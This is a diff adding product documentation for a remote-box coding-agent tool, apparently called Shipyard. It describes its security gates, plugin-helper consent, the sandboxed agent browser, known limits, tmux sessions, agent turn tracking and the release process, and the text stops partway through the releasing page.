+a caller on the box's own socket names its tool. So a gate scoped to a
+`tool` lets that tool's own actions through only when the tool runs on the
+box. See [hooks](/docs/guides/hooks#gates).
+
+Gates are a convenience, not a security boundary: they keep agents and
+automations inside the lines you draw, but a paired laptop can already run
+commands on the box, and anything running as the box's user can edit
+`~/.berth/hooks.json`.
+
+## Plugins
+
+Desktop plugins run inside the app with its full access: its API token,
+every paired box, and the network. So a plugin you install never turns on by
+itself. The first time, the app shows what it can do and a hash of its code,
+and runs it only once you allow it; when its code changes, it is off until
+you allow it again. On a box, a plugin's hooks run only once the plugin is
+listed in the box's `~/.berth/plugins.json`. See
+[trust and consent](/docs/guides/plugins#trust-and-consent).
+
+### A plugin's helper
+
+A plugin can also bring a [helper](/docs/guides/plugins#give-a-plugin-a-helper):
+a program berthd keeps running on a box, such as the one that records your
+dev servers' queries for Leadline. It is not sandboxed. **A helper is a
+program that runs on the box as you**, for as long as berthd runs, and can
+read and do there whatever your account can. Turning one on for a box is
+deciding to run its author's program on that box.
+
+What Shipyard holds it to:
+
+- **Only an allowed plugin gets one, and only when you turn it on, box by
+ box.** The plugin's manifest names the helper and the SHA-256 of its build
+ for each platform, and the manifest is part of the hash you allowed. When
+ the plugin changes, the permission lapses and its helper is not installed
+ or updated until you allow it again. A helper that is already running
+ keeps running until you turn it off (turning one off never needs the
+ plugin to be allowed).
+- **The program that runs is the one the manifest names.** Your laptop
+ downloads the build, from whatever address the manifest gives, and uploads
+ it over Shipyard's own connection only if its size and SHA-256 match.
+ berthd checks the bytes again before it keeps them, and checks the file
+ again each time it starts it. A download that was tampered with or
+ replaced at its address is never run.
+- **It runs what the manifest says, where berthd put it.** The program
+ lives in its own folder under berthd's state directory, with a name and a
+ version that cannot be a path. Its arguments are the manifest's alone. It
+ gets a [small environment](/docs/reference/files#what-a-helper-gets), not
+ berthd's own, so a token berthd was started with is not handed to it.
+- **It is reached on loopback only.** berthd relays the app's requests to
+ the address the helper says it listens on, and refuses one that is not on
+ the box itself. A request reaches the helper with its own loopback address
+ as the `Host` and no `Origin`, so the helper can refuse every web page.
+ Nothing of it is opened to the network.
+- **What it can change about your dev servers is named in the manifest.**
+ Before a worktree's service starts, a helper may be shown, and may set,
+ only the variables its manifest lists (`attach_env`): for Leadline the
+ database URL and the OpenTelemetry variables. Variables that name a secret
+ are never shown to it or replaced, a helper that is slow or failing
+ changes nothing, and berthd logs none of it.
+- **Only a paired laptop installs one.** berthd takes a helper from a laptop
+ you paired, which is where the plugin was allowed. An agent or a script on
+ the box, which reaches berthd through its socket, can list helpers and
+ remove one, but cannot hand berthd a program to keep running.
+- **The box's owner has the last word.** `berthd helpers` lists what runs,
+ `berthd helper rm` removes one, and a `before:helper.install`
+ [gate](#gates) can refuse them all.
+
+What the checksum does not do: it is not a signature, and says nothing about
+who built the program or whether it is safe. Whoever writes a plugin's
+manifest chooses the checksum in it, and whoever can change the listing a
+plugin is installed from can offer a manifest with another. What stands
+between that and your box is the consent dialog, which is for exactly the
+manifest you saw.
+
+## The agent browser
+
+An agent's browser runs on the box, never on the laptop: it has none of your
+cookies, it is not the app's own web view, and its profile is thrown away
+when it closes. Its only way out is a proxy inside berthd that lets it reach
+the worktree's own pages and port block, and public origins the box's owner
+allows (or a trusted repository config asks for), dialled through the same
+private-address check as webhooks. Other worktrees, berthd, databases,
+private ranges, metadata endpoints and the internet are refused. berthd
+drives it over a pipe, so there is no debugging port for other processes to
+attach to. Opening, scripting, watching and widening it go through
+`before:browser.*` gates. See [agent browser](/docs/guides/agent-browser).
+
+## Known limits
+
+- **An agent's browser can be talked to by its page.** Page text reaches the
+ agent; the skill tells agents to treat it as data, but a model can still
+ be misled by it. The proxy keeps what the page can make the browser reach
+ to the worktree's own origins.
+- **Plugins are not sandboxed.** Consent decides whether a plugin runs, not
+ what it can do once it runs. Running each plugin in an isolated view with
+ only the capabilities it asks for is planned.
+- **Gate origins on the box are claimed, not proven.** A caller on berthd's
+ own socket names its own origin (`--origin`, `BERTH_ORIGIN`), so anything
+ running as the box's user can pass a gate scoped to a tool. That is the
+ same user who can edit the hooks.
+- **First prompts and plain environment values are on command lines.** A
+ first prompt is in the agent's command (`$SHELL -lc "claude '…'"`), and
+ the project's plain `env` values are passed to tmux as `-e KEY=VALUE`, so
+ other processes on the box can see them, for instance with `ps`. Secret
+ references (`op://`, `env://`) are not: they are resolved inside the
+ session. Keep anything sensitive in a secret reference.
+- **Release archives are not signed.** `checksums.txt` proves a download is
+ intact, not who published it, and `berth upgrade` trusts the laptop that
+ sends the binary. Signed checksums and signed daemon upgrades are planned.
+- **The tailnet address is found by its range.** berthd listens on the first
+ address in `100.64.0.0/10`, Tailscale's range. On a network that also uses
+ that range for carrier-grade NAT, check where it listens with
+ `berthd doctor`.
+- **`*.localhost` cookies are shared.** A dev server that sets a cookie for
+ `localhost` itself makes it visible to every other private URL in your
+ browser, across worktrees and boxes.
+- **Handshake flooding.** Pairing is rate limited; TLS handshakes are not.
+- **Not yet reviewed independently.** The pairing protocol and the surface
+ before authentication should have an outside review before teammates rely
+ on them.
+- **One person per box.** Team sharing (one box used by several people, and
+ granting and revoking their access beyond per-laptop pairing), Windows,
+ and dropping the proxy port with a privileged helper are open.
+
+Ready to pair? [Add a box](/docs/getting-started/add-a-box).
diff --git a/apps/shipyard/content/docs/concepts/sessions-and-agents.mdx b/apps/shipyard/content/docs/concepts/sessions-and-agents.mdx
new file mode 100644
index 000000000..b7b4a0dd6
--- /dev/null
+++ b/apps/shipyard/content/docs/concepts/sessions-and-agents.mdx
@@ -0,0 +1,239 @@
+---
+title: Sessions and agents
+description: Programs that run on the box in tmux, the agents in them, and how Shipyard knows what they need.
+---
+
+A **session** is a program running on a box, an **agent** is a coding agent
+running in one, and a **task** is a worktree made with an agent already
+running in it.
+
+## Sessions
+
+A **session** runs a program, usually a coding agent, at a location or
+worktree, in Shipyard's own tmux server with `remain-on-exit`. Sessions keep
+running when nobody is attached, when the laptop sleeps, and when berthd
+restarts or upgrades.
+
+```sh
+berth session new devl/shop/checkout --agent claude --prompt "…" # an agent
+berth session new devl/shop/checkout -- pnpm test --watch # any command
+berth session new devl/shop/checkout # a shell
+berth sessions devl
+berth session rename devl/SESSION "Fix checkout webhook"
+berth session kill devl/SESSION
+```
+
+A session also has a **title**, which is what the app calls it: the first
+line of the prompt it started with ("Fix checkout webhook"), cut to about
+48 characters, with the agent beside it ("Fix checkout webhook · Claude
+Code"). A session started without a prompt takes the title of the first
+prompt it gets, sent through Shipyard or typed into the agent. The title is a
+tmux option (`@berth_title`). Rename it
+with `berth session rename`, `--title` on `session new` and `task new`, or
+the tab's menu in the app.
+
+A session's command, with the first prompt in it, is kept in a file only
+you can read (`/commands/.cmd`), which the session's login
+shell runs; it goes when the session does. A prompt can be long (a request
+up to 2 MB): it never goes on tmux's command line, which takes about 16 KB.
+The agent itself gets its first prompt as one argument, which Linux caps at
+128 KB and macOS at about 1 MB, so a longer one is refused up front; send
+the rest once the agent runs, as a paste of any length, or attach it as a
+file.
+
+A session is named after where it runs and what it runs
+(`shop-checkout-claude-…`) unless you pass `--name`. Its environment is the
+worktree's: ports, `BERTH_*` variables and the project's `env`, plus
+`BERTH_SESSION` (the session's name) and, for an agent preset, `BERTH_AGENT`
+(the preset's id). The agent's hooks pass `BERTH_SESSION` back, so Shipyard
+knows which session they come from even when several agents share a
+worktree. Shipyard also keeps the preset with the session, so an agent started
+from a preset whose command wraps it (`env FOO=1 claude`, `npx …`) is still
+known as that agent.
+
+### Sessions clean up after themselves
+
+What a session's program starts (a repository's Playwright tests and their
+browsers, a dev server, a watcher) goes when Shipyard ends the session, even
+what was started in the background or detached itself from the terminal.
+
+- **On Linux with systemd**, each new session runs in a transient scope of
+ its own (`berth-SESSION-….scope` under your systemd user manager), a cgroup
+ that holds everything it starts. Ending the session stops the scope:
+ `SIGTERM` to everything in it, then `SIGKILL` after 10 seconds. The scope
+ belongs to your user manager, not to berthd, so sessions outlive berthd's
+ restarts and upgrades as before. Its cgroup also says what the session
+ uses, which `berth sessions BOX --json` shows as `usage`.
+- **Elsewhere** (macOS, a container without systemd, and sessions started
+ before this), Shipyard stops what it finds for the session when it ends
+ it: its terminal's processes and their children and, on Linux, processes
+ that left that tree but still carry the session's `BERTH_SESSION` and
+ Shipyard's own tmux server in their environment.
+- **Nothing else** is touched: your own tmux, terminals and processes have
+ neither the scope nor the marker.
+
+A box can hold each session under a **memory limit** (Settings → Boxes,
+**Browsers and sessions**; `session_memory_gb` in the box's
+[`guard.json`](/docs/guides/resource-guard)). It needs the scopes above. It is
+systemd's `MemoryHigh`: near it, the kernel reclaims the session's memory
+and slows it down, and Shipyard says so in its chat and on its tab ("using
+11.8 GB, near its 12 GB limit"), with a notification. Nothing is stopped for
+it. A new limit applies to running sessions at once.
+
+The app shows each session as a terminal (ghostty-web) in the worktree's
+workspace, beside other terminals, splits and browser tabs. Laptops attach
+through a framed terminal stream (keystrokes and resizes in, screen out), or
+read the screen without attaching:
+
+```sh
+berth attach devl/SESSION # this terminal; Ctrl-b d detaches
+berth terminal devl/SESSION # a new terminal window
+berth session screen devl/SESSION --history 200
+```
+
+## Tasks
+
+A **task** is a worktree with an agent already running in it, made in one
+request, so a hook, the app or another agent can hand off work in a single
+step:
+
+```sh
+berth task new devl/shop/checkout --agent claude --prompt "Fix the checkout page"
+```
+
+In the app this is **New worktree** (⌘N) with an agent chosen. It runs
+`before:task.create`, then the worktree's and the session's own gates, and
+announces `task.created`.
+
+## Agents
+
+An agent is a preset: an id, a name and a command. The box offers each
+built-in whose command it finds on its `PATH` (ids `claude`, `codex`,
+`opencode`, `gemini`, and `cursor`, which runs `cursor-agent`), plus any a
+repository's config adds or replaces. `berth agents BOX` lists the
+built-ins the box has; a repository's own presets come with its location
+(`agents` in `berth locations BOX --json`).
+A first prompt is passed as the command's last argument, or after its
+`prompt_flag`. See [the config reference](/docs/reference/config#agents).
+
+### Agent state
+
+Shipyard knows what an agent is doing from the agent's own hooks, which
+`berthd install` sets up for the agent CLIs it finds on the box (later,
+`berthd integrations install claude`, or `codex`, `cursor`, `gemini`,
+`opencode`, `all`; an upgrade brings hooks Shipyard installed before up to
+date):
+
+| State | In the app | Meaning | From |
+| --- | --- | --- | --- |
+| `idle` | Idle | Open, at its prompt, not given anything yet | `agent.ready` |
+| `running` | Working | Working on a prompt | `agent.started` |
+| `waiting` | Needs you | A permission, a question | `agent.waiting` |
+| `finished` | Done | Done with its turn | `agent.finished` |
+| `exited` | Ended | The agent itself quit | `agent.exited` |
+
+A session whose program has ended is `exited`, and the app calls it
+**ended** everywhere: the sidebar, tabs, panes, the dashboard, zen, ⌘K and
+notifications use the same words and the same glyph (a blue spinner while
+working, an amber dot when it needs you, a check when done, a grey ring when
+idle, a grey dot once ended). An ended agent takes no input: sending to one
+fails with the code `session_exited` instead of typing into a dead pane, and
+the app offers to start it again or hand its work on rather than to send.
+While its box is offline the app doesn't guess: the pane says the box is
+away and comes back by itself. Shipyard also notices Claude
+Code's "trust this folder" question at startup and reports it as `waiting`.
+Claude Code's reminder a minute after a finished turn (`idle_prompt`) and its
+login notice are not questions, so they never read as `waiting`; after you
+approve a permission, the tool it allowed running says the agent is working
+again.
+
+### Turns
+
+A **turn** is one prompt to the end of the agent's reply. The box keeps a
+ledger of every agent session's turns, numbered in the order things happened
+(not by anyone's clock), and everything that waits for an agent waits for a
+turn: `session send --wait`, loops, flows, the app's broadcast.
+
+```sh
+berth session send devl/SESSION "Rebase on main" --json # {"turn":"SESSION#4","seq":812,…}
+berth session wait devl/SESSION --turn 'SESSION#4' # until that turn ends
+berth session turns devl/SESSION # the last ten
+```
+
+- A prompt sent while the agent is mid-turn gets its own turn, which starts
+ when the agent takes it up: the turn it was already in ending does not end
+ yours.
+- A turn is `queued` (held until the agent is idle), `pending` (sent, not
+ started), `running`, `waiting`, `finished`, `exited` or `lost` (open when
+ berthd restarted and nothing could settle it, or sent but never started
+ after two minutes with its agent idle: the agent read two prompts as one,
+ or dropped it; its status says `never started`).
+- Each turn says who prompted it (`laptop:`, `flow:`, `phone`,
+ `terminal` for a person at the terminal) and how often it waited for you.
+ When Claude Code asks for a permission, its `PermissionRequest` hook says
+ which tool and with what: the wait keeps the tool, a short summary of the
+ input (the command, or the file's path, never what it would write, at
+ most 300 characters) and Claude's reason, and the session shows it as
+ `ask` while it waits. This stays in the box's private ledger: it is never
+ put in events, the journal or hooks.
+- Prompts held with `--when idle` are listed by `GET
+ /v1/sessions/{name}/queue` (and counted as the session's `queued`); one can
+ be cancelled, or sent at once.
+- Agents sharing a worktree keep their own turns. An older hook that names
+ only a folder counts for the one agent of its kind there; when there are
+ several, it is recorded but ends no one's wait.
+
+**Fidelity** says how well Shipyard knows a turn's edges: `hooks` (the agent
+said when it started and ended), `partial` (the agent cannot say when it
+starts, so its turn starts when Shipyard sends the prompt) or `screen` (no hooks
+reported: Shipyard reads the terminal every two seconds, and a screen that stops
+changing ends the turn).
+
+| Agent | Ready | Started | Waiting | Finished | Through |
+| --- | --- | --- | --- | --- | --- |
+| Claude Code | ✓ | ✓ | ✓ | ✓ | hooks in `~/.claude/settings.json` |
+| Codex | ✓ | ✓ | ✓ | ✓ | hooks in `~/.codex/hooks.json` (trust them once with `/hooks`); older versions report only `finished`, through `notify` |
+| Cursor Agent | ✓ | ✓ | screen | ✓ | hooks in `~/.cursor/hooks.json` |
+| Gemini CLI | ✓ | ✓ | ✓ | ✓ | hooks in `~/.gemini/settings.json` |
+| OpenCode | | ✓ | ✓ | ✓ | a plugin in `~/.config/opencode/plugin/berth.js` |
+| anything else | screen | screen | screen | screen | the terminal |
+
+The box lists these as `adapters` in `GET /v1/info`, with `capabilities`
+`["turns","journal"]` when it keeps turns.
+
+Hooks reach berthd through its socket in milliseconds. While berthd is down
+(an upgrade, a restart), a hook is kept in `~/.berth/box/spool/` and
+published, in order, when berthd starts, so an agent that finished meanwhile
+does not read as working forever.
+
+The hooks forward only identifiers and the working directory: prompts,
+messages and transcripts never leave the tool. The one exception is the
+summary of a permission request above, which only berthd's own ledger
+keeps. A hook never fails or blocks
+the agent that called it.
+
+### In the app
+
+- **Agent Dashboard** (⌘J): every agent on every box, by what it needs:
+ **Needs you**, **Working**, **Done**, **Ready**.
+- **Review**: agents' finished work on every box, to approve, send back or
+ discard.
+- **Notifications**: when an agent waits for you, on this laptop, and on your
+ phone with the [phone companion](/docs/guides/phone).
+
+## Driving agents
+
+Anything that can run a command can prompt an agent, wait for its turn to
+end, and check its work, including another agent:
+
+```sh
+berth session send devl/SESSION "Rebase on main" --wait # waits for this prompt's turn
+berth session send devl/SESSION "Then the docs" --when idle # held until the agent is idle
+berth session wait devl/SESSION --for finished,waiting
+berth exec devl/shop/checkout -- pnpm test
+```
+
+Shipyard never types into an agent that is waiting for you unless told to
+(`--force`): an Enter at a permission prompt would pick an answer for you.
+
+See [orchestration](/docs/guides/orchestration).
diff --git a/apps/shipyard/content/docs/contributing/meta.json b/apps/shipyard/content/docs/contributing/meta.json
new file mode 100644
index 000000000..7a7019cbb
--- /dev/null
+++ b/apps/shipyard/content/docs/contributing/meta.json
@@ -0,0 +1 @@
+{ "title": "Contributing", "pages": ["releasing"] }
diff --git a/apps/shipyard/content/docs/contributing/releasing.mdx b/apps/shipyard/content/docs/contributing/releasing.mdx
new file mode 100644
index 000000000..48e55f860
--- /dev/null
+++ b/apps/shipyard/content/docs/contributing/releasing.mdx
@@ -0,0 +1,198 @@
+---
+title: Releasing
+description: How a Shipyard release is cut, built, signed and published, from a tag or from a Mac.
+---
+
+For maintainers. A release is a GitHub release on
+[cosscom/shipyard](https://github.com/cosscom/shipyard/releases), cut by
+pushing a `v*` tag. CI builds everything from the tag; a Mac with the signing
+credentials can publish the app itself instead with `make publish`.
+
+## What a release carries
+
+No asset name carries a version, so
+`https://github.com/cosscom/shipyard/releases/latest/download/`
+always finds the newest. The version is stamped into each binary instead
+(`berthd version`, `berth version`).
+
+| Asset | Made by | Used by |
+| --- | --- | --- |
+| `berthd--.tar.gz` | `make release` | The [install command](/docs/getting-started/add-a-box#with-the-install-command) on a box |
+| `berth--.tar.gz` | `make release` | [The CLI without the app](/docs/getting-started/install#the-cli-without-the-app): `berth` and the Linux daemons |
+| `checksums.txt` | `make release` | The install command checks its download against it |
+| `Berth-macos-universal.dmg` | `scripts/mac-release.sh` | [The download](/docs/getting-started/install#install-the-app) |
+| `Berth-macos-universal.app.tar.gz`, `.sig` | `scripts/mac-release.sh` | The app's updater: the new app and its signature |
+| `Berth-linux-x86_64-alpha.AppImage`, `.sig` | `scripts/linux-release.sh` | [Linux (alpha)](/docs/getting-started/install#linux-alpha): the download, and the updater's signature for it |
+| `Berth-linux-x86_64-alpha.deb` | `scripts/linux-release.sh` | Linux (alpha) on Debian and Ubuntu |
+| `latest.json` | `scripts/mac-release.sh`, then `scripts/merge-feed.py` | The feed installed apps check for [updates](/docs/getting-started/install#updates): `darwin-*` from the Mac job, `linux-x86_64*` merged in by the feed job |
+
+`-` is `linux-amd64`, `linux-arm64`, `darwin-arm64` or
+`darwin-amd64`. The landing page's `https://berthd.app/install` is
+[`site/install.sh`](https://github.com/cosscom/shipyard/blob/main/site/install.sh),
+which downloads from the latest release.
+
+## Full release checks
+
+The bugs new users hit showed only on a fresh install of the release: the
+release CSP blocking the built-in plugins, launchd's PATH without Homebrew's
+tmux, no `PORT` for worktree servers, App Transport Security blocking the
+Browser tab, tmux 3.7 without a locale. A set of tests goes through Shipyard the
+way a new user meets it. They aren't part of releasing: run them by hand
+now and then, for instance before a release that changes installing,
+onboarding or upgrading:
+
+```sh
+make release-check # builds HEAD, as committed, in a clean checkout, then tests it
+make release-check REF=1a2b3c4 # another commit; DIRTY=1 tests uncommitted changes instead
+make release-check UNIVERSAL=1 # both architectures, as the release workflow builds it
+make release-check DMG=path FROM=v0.3.0 # a dmg already built from HEAD; upgrade from another release
+```
+
+Uncommitted changes in your checkout are never tested by accident: the
+build happens in `dist/release-test/check-
+ 
+
+ 
+
+ 
+
+ 
+
+ 
+
+ 
+
+ 
+
+ 
+
+